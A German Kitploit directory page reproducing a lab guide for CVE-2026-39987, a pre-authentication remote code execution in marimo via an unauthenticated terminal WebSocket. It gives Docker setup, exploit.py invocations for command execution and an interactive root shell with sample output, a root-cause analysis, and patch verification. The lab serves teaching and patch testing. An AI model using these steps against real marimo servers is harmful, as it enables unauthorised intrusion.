Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — # Bildungs-Docker-Lab zur Demonstration von CVE-2026-39987, einer Pre-Auth-RCE über WebSocket-Authentifizierungs-Bypass in marimo, mit Exploit-Skript und Schritten zur Patch-Verifizierung. | Kitploit
Tools/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubdhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39987-lab-or-marimo-cve-lab

# Bildungs-Docker-Lab zur Demonstration von CVE-2026-39987, einer Pre-Auth-RCE über WebSocket-Authentifizierungs-Bypass in marimo, mit Exploit-Skript und Schritten zur Patch-Verifizierung.

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

CVE-2026-39987 Lab-Anleitung

Pre-Auth Remote Code Execution durch Terminal-WebSocket-Authentifizierungs-Bypass

Ein pädagogisches Docker-Lab zum Verständnis, zur Reproduktion und zum Patchen dieser kritischen Schwachstelle in marimo.


Inhaltsverzeichnis

  • Überblick
  • Architektur
  • Schnellstart
  • Schritt-für-Schritt-Anleitung
    • Schritt 1: Lab bauen und starten
    • Schritt 2: Authentifizierung bestätigen
    • Schritt 3: Exploit ausführen
    • Schritt 4: Den Bypass verstehen
    • Schritt 5: Patch-Verifizierung
  • Fehlerbehebung
  • Bereinigung
  • Referenzen

Überblick

Zielmarimo <= 0.20.4 im edit-Modus mit aktivierter Token-Authentifizierung
AngreiferJeder Host mit Python 3 und websocket-client
ZielsetzungErlangen einer interaktiven Root-Shell über /terminal/ws ohne Bereitstellung eines Auth-Tokens
TypAuthentifizierungs-Bypass → Remote Code Execution (RCE)
Patchmarimo >= 0.23.0

⚠️ Nur für ethische Zwecke: Dieses Lab wurde für Sicherheitsforscher, Entwickler und Studenten entwickelt, um zu verstehen, wie Authentifizierungs-Bypass-Schwachstellen entstehen und wie man sie richtig behebt. Nur in isolierten Umgebungen ausführen.


Architektur

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Target)           │      │   (Attacker)         │   │
│   │   Port: 2718         │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Dateien in diesem Lab:

DateiZweck
Dockerfile.targetBaut den verwundbaren marimo-Server
docker-compose.yml

Schnellstart

root@kitploit:~
# Repo klonen
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# Lab starten
docker-compose up --build -d

# Exploit ausführen
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# Interaktive Shell erhalten
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Schritt-für-Schritt-Anleitung

Schritt 1: Lab bauen und starten

root@kitploit:~
# Ein Arbeitsverzeichnis erstellen und diese Dateien hineinlegen:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# Ziel bauen und starten
docker-compose up --build -d

# Prüfen, ob das Ziel läuft
docker ps
# Sie sollten sehen: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

Was passiert:

  • Docker baut einen Container mit marimo 0.20.4 (verwundbare Version)
  • Der Server startet im edit-Modus mit explizit aktivierter --token-Authentifizierung
  • Port 2718 wird auf Ihren Host freigegeben

Schritt 2: Authentifizierung bestätigen

Bevor wir ausnutzen, verifizieren wir, dass das Ziel auf legitimen Endpunkten ordnungsgemäß geschützt ist:

root@kitploit:~
# Versuchen Sie, die Haupt-UI im Browser oder per curl zu öffnen
curl -s http://127.0.0.1:2718/
# Erwartet: Weiterleitung zur Login-Seite oder 401/403 (Token erforderlich)

# Versuchen Sie den Haupt-WebSocket (/ws) ohne Token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Erwartet: Verbindung abgelehnt oder sofort geschlossen wegen fehlender Authentifizierung

Wichtige Beobachtung: Die Hauptanwendungs-Endpunkte erzwingen die Authentifizierung korrekt. Die Schwachstelle liegt in einem sekundären Endpunkt, der übersehen wurde.


Schritt 3: Exploit ausführen

Option A — Einzelne Befehlsausführung

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

Erwartete Ausgabe:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

Option B — Interaktive Shell

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Sie erhalten eine $-Eingabeaufforderung, über die Sie beliebige Systembefehle ausführen können:

root@kitploit:~
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

Schritt 4: Den Bypass verstehen

Warum funktioniert das?

Die Schwachstelle existiert aufgrund einer inkonsistenten Authentifizierungsprüfung über WebSocket-Endpunkte hinweg:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Authentication Middleware (Starlette)                          │
│  ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│  └── Does NOT automatically close WebSocket connections         │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Main)     │          │ /terminal/ws     │
    │                  │          │ (Terminal)       │
    │  ✓ validate_auth()│          │  ✗ NO auth check │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rejects unauth  │          │  ✓ Accepts immediately│
    └──────────────────┘          └──────────────────┘

Ursachenanalyse

  1. Authentifizierungs-Middleware (Starlette AuthenticationMiddleware) markiert nicht authentifizierte Verbindungen als UnauthenticatedUser, schließt WebSocket-Verbindungen jedoch nicht automatisch.

  2. Korrekte Endpunkte (z. B. /ws) rufen validate_auth() auf oder verwenden @requires("edit") und lehnen nicht authentifizierte Clients ab.

  3. Verwundbarer Endpunkt (/terminal/ws) prüft nur:

    • SessionMode.EDIT — stellt sicher, dass der Server im Edit-Modus ist
    • supports_terminal() — stellt sicher, dass die Terminal-Funktion verfügbar ist
    • ...und ruft dann sofort await websocket.accept() auf, ohne jegliche Auth-Prüfung.
  4. Auswirkung: pty.fork() erzeugt eine vollständige PTY-Shell, die als Server-Benutzer läuft (root im Standard-Docker-Image), wodurch der Angreifer vollständigen Systemzugriff erhält.

Die Lösung (marimo >= 0.23.0)

Der Patch fügt dem /terminal/ws-Endpunkt eine ordnungsgemäße Authentifizierungsvalidierung hinzu und stellt sicher, dass er dem Sicherheitsniveau anderer Endpunkte entspricht.


Schritt 5: Patch-Verifizierung

Aktualisieren Sie das Ziel auf die gepatchte Version und führen Sie den Exploit erneut aus, um die Behebung zu bestätigen:

root@kitploit:~
# Dockerfile.target bearbeiten: marimo==0.20.4 in marimo==0.23.0 ändern
# Oder verwenden: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# Exploit erneut versuchen
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

Erwartet nach dem Patch:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

Die Verbindung wird nun sofort abgelehnt/geschlossen; es wird keine Shell erhalten. ✅


Fehlerbehebung


Bereinigung

root@kitploit:~
# Container stoppen und entfernen
docker-compose down -v

# Das erstellte Image entfernen
docker rmi cve-lab_target

# Verwaiste Images bereinigen
docker image prune -f

Referenzen

  • GitHub Security Advisory: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • Patch-PR: https://github.com/marimo-team/marimo/pull/9098
  • CVE-Eintrag: https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • marimo-Dokumentation: https://docs.marimo.io

Für Bildungszwecke erstellt. Verantwortungsvoll nutzen. 🔒

Tool herunterladen
Orchestriert Ziel- und Angreifer-Container
exploit.pyPoC-Exploit-Skript (Einzelbefehl + interaktiver Modus)
LAB_GUIDE.mdDiese Anleitung
ProblemLösung
Connection refusedStellen Sie sicher, dass der Container läuft: docker ps und prüfen Sie die Logs mit docker logs marimo-vulnerable
ModuleNotFoundError: No module named 'websocket'Installieren Sie den Client: pip install websocket-client
Keine Ausgabe vom ExploitTimeout erhöhen: python exploit.py ... --timeout 20
Container beendet sofortDockerfile-Syntax prüfen und sicherstellen, dass das test.py-Notebook korrekt erstellt wird
Permission deniedStellen Sie sicher, dass der Docker-Daemon läuft und Sie über die entsprechenden Berechtigungen verfügen